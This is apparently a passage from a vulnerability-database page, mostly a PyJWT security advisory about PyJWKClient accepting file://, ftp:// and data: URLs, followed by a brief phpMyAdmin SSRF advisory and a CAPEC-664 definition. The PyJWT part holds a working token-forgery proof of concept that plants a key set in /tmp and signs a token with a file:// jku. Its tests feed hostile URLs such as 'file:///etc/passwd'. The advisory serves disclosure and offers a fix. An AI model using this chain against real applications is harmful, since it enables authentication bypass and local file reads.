    return base64.urlsafe_b64encode(n.to_bytes(bl, 'big')).rstrip(b'=').decode()

# Attacker writes JWK Set containing their public key to /tmp
jwks = {"keys":[{"kty":"RSA","kid":"attacker","use":"sig","alg":"RS256",
                  "n":b64u(pub_n),"e":"AQAB"}]}
with open("/tmp/attacker.json","w") as f:
    json.dump(jwks, f)

# Attacker mints token signed with their private key, jku=file://
priv_pem = key.private_bytes(serialization.Encoding.PEM,
    serialization.PrivateFormat.PKCS8, serialization.NoEncryption())
now = int(time.time())
token = pyjwt.encode(
    {"sub":"attacker","aud":"target-app","iat":now,"exp":now+3600},
    priv_pem, algorithm="RS256",
    headers={"kid":"attacker","jku":"file:///tmp/attacker.json","typ":"JWT"})

# Vulnerable application pattern: caller derives jku from token header
# and passes to PyJWKClient without scheme validation
header = pyjwt.get_unverified_header(token)
client = PyJWKClient(header["jku"])      # <-- accepts file:// silently
key_obj = client.get_signing_key_from_jwt(token)
decoded = pyjwt.decode(token, key_obj.key, algorithms=["RS256"],
                       audience="target-app")
print("Token verified:", decoded)
# Output: Token verified: {'sub': 'attacker', 'aud': 'target-app', ...}

Cross-library evidence — PyJWT is the outlier

The same composition pattern is structurally safe in 4 other mainstream JWT libraries:

Library Behavior on jku=file://... Mechanism
PyJWT 2.12.1 (Python) Reads file from disk, parses, uses for signature verification urllib default OpenerDirector includes FileHandler
panva/jose 6.2.3 (Node.js) Refuses pre-fetch WHATWG fetch() rejects non-http(s) at fetch-spec layer
golang-jwt + MicahParks/keyfunc v3.4.0 (Go) Refuses pre-fetch http.DefaultTransport only registers http/https
Microsoft.IdentityModel.Tokens 8.18.0 (.NET) Refuses pre-fetch HttpDocumentRetriever defaults RequireHttps=true
Spring Security NimbusJwtDecoder 6.3.4 (Java) Refuses pre-fetch URI parser delegation refuses non-http(s) at request build

PyJWT is the only library of these 5 where the default behavior allows file:// to reach the fetch layer.

Recommended fix

Add allowed_schemes: tuple[str, ...] = ("https", "http") kwarg to PyJWKClient.__init__. Pre-validate URL scheme before invoking urllib.request.urlopen. URLs with disallowed schemes raise PyJWKClientError before any fetch is attempted.

Diff sketch against jwt/jwks_client.py

def __init__(
    self, uri: str,
    cache_keys: bool = False, max_cached_keys: int = 16,
    cache_jwk_set: bool = True, lifespan: float = 300,
    headers: dict[str, Any] | None = None, timeout: float = 30,
    ssl_context: SSLContext | None = None,
    allowed_schemes: tuple[str, ...] = ("https", "http"),  # NEW
):
    """...
    :param allowed_schemes: URL schemes the JWKS endpoint is permitted
        to use. Default ``("https", "http")``. Pass ``("https",)`` for
        HTTPS-only operation. URLs with disallowed schemes raise
        ``PyJWKClientError`` before any fetch is attempted.
    """
    # ... existing init code ...
    self.allowed_schemes = allowed_schemes
    self._validate_uri_scheme()


def _validate_uri_scheme(self) -> None:
    """Reject the configured URI early if its scheme isn't allowed."""
    from urllib.parse import urlparse
    parsed = urlparse(self.uri)
    scheme = parsed.scheme.lower()
    if not scheme:
        raise PyJWKClientError(
            f"PyJWKClient URI '{self.uri}' has no scheme; expected one of "
            f"{self.allowed_schemes!r}")
    if scheme not in self.allowed_schemes:
        raise PyJWKClientError(
            f"PyJWKClient URI scheme '{scheme}' is not in allowed_schemes "
            f"{self.allowed_schemes!r}; refusing to fetch from this URL")

Tests to add

def test_pyjwkclient_rejects_file_scheme():
    with pytest.raises(PyJWKClientError, match="not in allowed_schemes"):
        PyJWKClient("file:///etc/passwd")

def test_pyjwkclient_rejects_ftp_scheme():
    with pytest.raises(PyJWKClientError):
        PyJWKClient("ftp://example.org/keys.json")

def test_pyjwkclient_rejects_data_scheme():
    with pytest.raises(PyJWKClientError):
        PyJWKClient('data:application/json,{"keys":[]}')

def test_pyjwkclient_caller_can_lock_to_https_only():
    with pytest.raises(PyJWKClientError):
        PyJWKClient("http://internal.test/jwks.json", allowed_schemes=("https",))

Compatibility

  • Default allowed_schemes=("https", "http") preserves backwards compatibility for the overwhelming majority of callers using HTTP/HTTPS JWKS endpoints
  • Breaking only for callers using non-HTTP schemes intentionally (vanishingly rare)
  • No changes to urllib fetch logic itself — the fix is a pre-validation gate

Class precedent

This is the same class as CVE-2024-21643 (Apache Jena JKU-trust: attacker-supplied JKU URL fetched without scheme validation). NVD-rated CVSS 7.5.

Prior art (verified 2026-05-06)

Confirmed via live recon (NVD direct, OSV.dev, PyJWT GitHub Security Advisories, issue/PR keyword search, CHANGELOG inspection):

  • No existing CVE on PyJWT specifically for PyJWKClient URL scheme handling
  • No existing GitHub issue or PR addressing scheme allowlisting
  • No silent fix in CHANGELOG through 2.12.1
  • 5 prior PyJWT advisories (CVE-2017-11424, CVE-2022-29217, CVE-2024-53861, CVE-2025-45768, CVE-2026-32597) — none cover this class

Credit

Reported by Keijo Tuominen — independent security research at CMHT.tech (https://cmht.tech).

Reproduction artifacts available on request: full multi-language probe pack (5 wrappers × 25 fixtures × 125 cells) demonstrating cross-library divergence at the URL-scheme boundary.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.12.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "PyJWT"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.13.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48522"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-15T19:28:41Z",
    "nvd_published_at": "2026-05-28T16:16:29Z",
    "severity": "MODERATE"
  },
  "details": "\u003e [!NOTE]\n\u003e The library does not directly return non-HTTP(S) URI contents to the attacker; the chained \"plant a JWKS to forge tokens\" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation.\n\n## Summary\n\nPyJWKClient passes its `uri` argument directly to `urllib.request.urlopen()` which uses Python stdlib\u0027s default `OpenerDirector` registering `HTTPHandler`, `HTTPSHandler`, `FTPHandler`, **`FileHandler`**, and `DataHandler`. There is currently no documented option to restrict which schemes PyJWKClient will fetch.\n\nIf an application\u0027s `jku` URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can:\n\n1. Cause PyJWKClient to read arbitrary local files via `file://` (SSRF on local filesystem) \u2014 the file\u0027s contents are passed to `json.load`.\n2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface).\n3. **Forge tokens that PyJWT verifies as valid** \u2014 if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and `jwt.decode()` accepts.\n\n## Affected versions\n\nTested and reproducible on **PyJWT 2.11.0 and 2.12.1**. Likely all versions back to PyJWKClient introduction.\n\n## Reproducer (full attack chain \u2014 verified empirically)\n\n```python\nimport jwt as pyjwt\nfrom jwt import PyJWKClient\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives import serialization\nimport json, base64, time\n\n# Attacker generates keypair (no relation to real IdP)\nkey = rsa.generate_private_key(public_exponent=65537, key_size=2048)\npub_n = key.public_key().public_numbers().n\n\ndef b64u(n):\n    bl = (n.bit_length() + 7) // 8\n    return base64.urlsafe_b64encode(n.to_bytes(bl, \u0027big\u0027)).rstrip(b\u0027=\u0027).decode()\n\n# Attacker writes JWK Set containing their public key to /tmp\njwks = {\"keys\":[{\"kty\":\"RSA\",\"kid\":\"attacker\",\"use\":\"sig\",\"alg\":\"RS256\",\n                  \"n\":b64u(pub_n),\"e\":\"AQAB\"}]}\nwith open(\"/tmp/attacker.json\",\"w\") as f:\n    json.dump(jwks, f)\n\n# Attacker mints token signed with their private key, jku=file://\npriv_pem = key.private_bytes(serialization.Encoding.PEM,\n    serialization.PrivateFormat.PKCS8, serialization.NoEncryption())\nnow = int(time.time())\ntoken = pyjwt.encode(\n    {\"sub\":\"attacker\",\"aud\":\"target-app\",\"iat\":now,\"exp\":now+3600},\n    priv_pem, algorithm=\"RS256\",\n    headers={\"kid\":\"attacker\",\"jku\":\"file:///tmp/attacker.json\",\"typ\":\"JWT\"})\n\n# Vulnerable application pattern: caller derives jku from token header\n# and passes to PyJWKClient without scheme validation\nheader = pyjwt.get_unverified_header(token)\nclient = PyJWKClient(header[\"jku\"])      # \u003c-- accepts file:// silently\nkey_obj = client.get_signing_key_from_jwt(token)\ndecoded = pyjwt.decode(token, key_obj.key, algorithms=[\"RS256\"],\n                       audience=\"target-app\")\nprint(\"Token verified:\", decoded)\n# Output: Token verified: {\u0027sub\u0027: \u0027attacker\u0027, \u0027aud\u0027: \u0027target-app\u0027, ...}\n```\n\n## Cross-library evidence \u2014 PyJWT is the outlier\n\nThe same composition pattern is structurally safe in 4 other mainstream JWT libraries:\n\n| Library | Behavior on `jku=file://...` | Mechanism |\n|---|---|---|\n| **PyJWT 2.12.1** (Python) | **Reads file from disk, parses, uses for signature verification** | urllib default OpenerDirector includes FileHandler |\n| panva/jose 6.2.3 (Node.js) | Refuses pre-fetch | WHATWG `fetch()` rejects non-http(s) at fetch-spec layer |\n| golang-jwt + MicahParks/keyfunc v3.4.0 (Go) | Refuses pre-fetch | `http.DefaultTransport` only registers http/https |\n| Microsoft.IdentityModel.Tokens 8.18.0 (.NET) | Refuses pre-fetch | `HttpDocumentRetriever` defaults `RequireHttps=true` |\n| Spring Security NimbusJwtDecoder 6.3.4 (Java) | Refuses pre-fetch | URI parser delegation refuses non-http(s) at request build |\n\nPyJWT is the only library of these 5 where the default behavior allows `file://` to reach the fetch layer.\n\n## Recommended fix\n\nAdd `allowed_schemes: tuple[str, ...] = (\"https\", \"http\")` kwarg to `PyJWKClient.__init__`. Pre-validate URL scheme before invoking `urllib.request.urlopen`. URLs with disallowed schemes raise `PyJWKClientError` before any fetch is attempted.\n\n### Diff sketch against `jwt/jwks_client.py`\n\n```python\ndef __init__(\n    self, uri: str,\n    cache_keys: bool = False, max_cached_keys: int = 16,\n    cache_jwk_set: bool = True, lifespan: float = 300,\n    headers: dict[str, Any] | None = None, timeout: float = 30,\n    ssl_context: SSLContext | None = None,\n    allowed_schemes: tuple[str, ...] = (\"https\", \"http\"),  # NEW\n):\n    \"\"\"...\n    :param allowed_schemes: URL schemes the JWKS endpoint is permitted\n        to use. Default ``(\"https\", \"http\")``. Pass ``(\"https\",)`` for\n        HTTPS-only operation. URLs with disallowed schemes raise\n        ``PyJWKClientError`` before any fetch is attempted.\n    \"\"\"\n    # ... existing init code ...\n    self.allowed_schemes = allowed_schemes\n    self._validate_uri_scheme()\n\n\ndef _validate_uri_scheme(self) -\u003e None:\n    \"\"\"Reject the configured URI early if its scheme isn\u0027t allowed.\"\"\"\n    from urllib.parse import urlparse\n    parsed = urlparse(self.uri)\n    scheme = parsed.scheme.lower()\n    if not scheme:\n        raise PyJWKClientError(\n            f\"PyJWKClient URI \u0027{self.uri}\u0027 has no scheme; expected one of \"\n            f\"{self.allowed_schemes!r}\")\n    if scheme not in self.allowed_schemes:\n        raise PyJWKClientError(\n            f\"PyJWKClient URI scheme \u0027{scheme}\u0027 is not in allowed_schemes \"\n            f\"{self.allowed_schemes!r}; refusing to fetch from this URL\")\n```\n\n### Tests to add\n\n```python\ndef test_pyjwkclient_rejects_file_scheme():\n    with pytest.raises(PyJWKClientError, match=\"not in allowed_schemes\"):\n        PyJWKClient(\"file:///etc/passwd\")\n\ndef test_pyjwkclient_rejects_ftp_scheme():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\"ftp://example.org/keys.json\")\n\ndef test_pyjwkclient_rejects_data_scheme():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\u0027data:application/json,{\"keys\":[]}\u0027)\n\ndef test_pyjwkclient_caller_can_lock_to_https_only():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\"http://internal.test/jwks.json\", allowed_schemes=(\"https\",))\n```\n\n### Compatibility\n\n- Default `allowed_schemes=(\"https\", \"http\")` preserves backwards compatibility for the overwhelming majority of callers using HTTP/HTTPS JWKS endpoints\n- Breaking only for callers using non-HTTP schemes intentionally (vanishingly rare)\n- No changes to urllib fetch logic itself \u2014 the fix is a pre-validation gate\n\n## Class precedent\n\nThis is the same class as **CVE-2024-21643** (Apache Jena JKU-trust: attacker-supplied JKU URL fetched without scheme validation). NVD-rated CVSS 7.5.\n\n## Prior art (verified 2026-05-06)\n\nConfirmed via live recon (NVD direct, OSV.dev, PyJWT GitHub Security Advisories, issue/PR keyword search, CHANGELOG inspection):\n\n- No existing CVE on PyJWT specifically for PyJWKClient URL scheme handling\n- No existing GitHub issue or PR addressing scheme allowlisting\n- No silent fix in CHANGELOG through 2.12.1\n- 5 prior PyJWT advisories (CVE-2017-11424, CVE-2022-29217, CVE-2024-53861, CVE-2025-45768, CVE-2026-32597) \u2014 none cover this class\n\n## Credit\n\nReported by Keijo Tuominen \u2014 independent security research at CMHT.tech (https://cmht.tech).\n\nReproduction artifacts available on request: full multi-language probe pack (5 wrappers \u00d7 25 fixtures \u00d7 125 cells) demonstrating cross-library divergence at the URL-scheme boundary.",
  "id": "GHSA-993g-76c3-p5m4",
  "modified": "2026-07-31T22:13:14Z",
  "published": "2026-06-15T19:28:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-993g-76c3-p5m4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48522"
    },
    {
      "type": "WEB",
      "url": "https://github.com/github/advisory-database/pull/8521"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jpadilla/pyjwt"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-175.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PyJWKClient: missing scheme allowlist enables CVE-2024-21643-class SSRF + token forgery via file://, ftp://, data: schemes"
}

GHSA-99XJ-XQC9-98HR

Vulnerability from github – Published: 2022-05-14 01:15 – Updated: 2024-04-24 17:16
VLAI
Summary
phpMyAdmin SSRF in replication
Details

phpMyAdmin 4.0, 4.4 and 4.6 are vulnerable to a weakness where a user with appropriate permissions is able to connect to an arbitrary MySQL server

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpmyadmin/phpmyadmin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.6"
            },
            {
              "fixed": "4.6.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpmyadmin/phpmyadmin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.4"
            },
            {
              "fixed": "4.4.15.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpmyadmin/phpmyadmin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0"
            },
            {
              "fixed": "4.0.10.19"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2017-1000017"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-24T17:16:11Z",
    "nvd_published_at": "2017-07-17T13:18:00Z",
    "severity": "HIGH"
  },
  "details": "phpMyAdmin 4.0, 4.4 and 4.6 are vulnerable to a weakness where a user with appropriate permissions is able to connect to an arbitrary MySQL server",
  "id": "GHSA-99xj-xqc9-98hr",
  "modified": "2024-04-24T17:16:11Z",
  "published": "2022-05-14T01:15:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-1000017"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/phpmyadmin/composer"
    },
    {
      "type": "WEB",
      "url": "https://www.phpmyadmin.net/security/PMASA-2017-6"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/95732"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "phpMyAdmin SSRF in replication"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.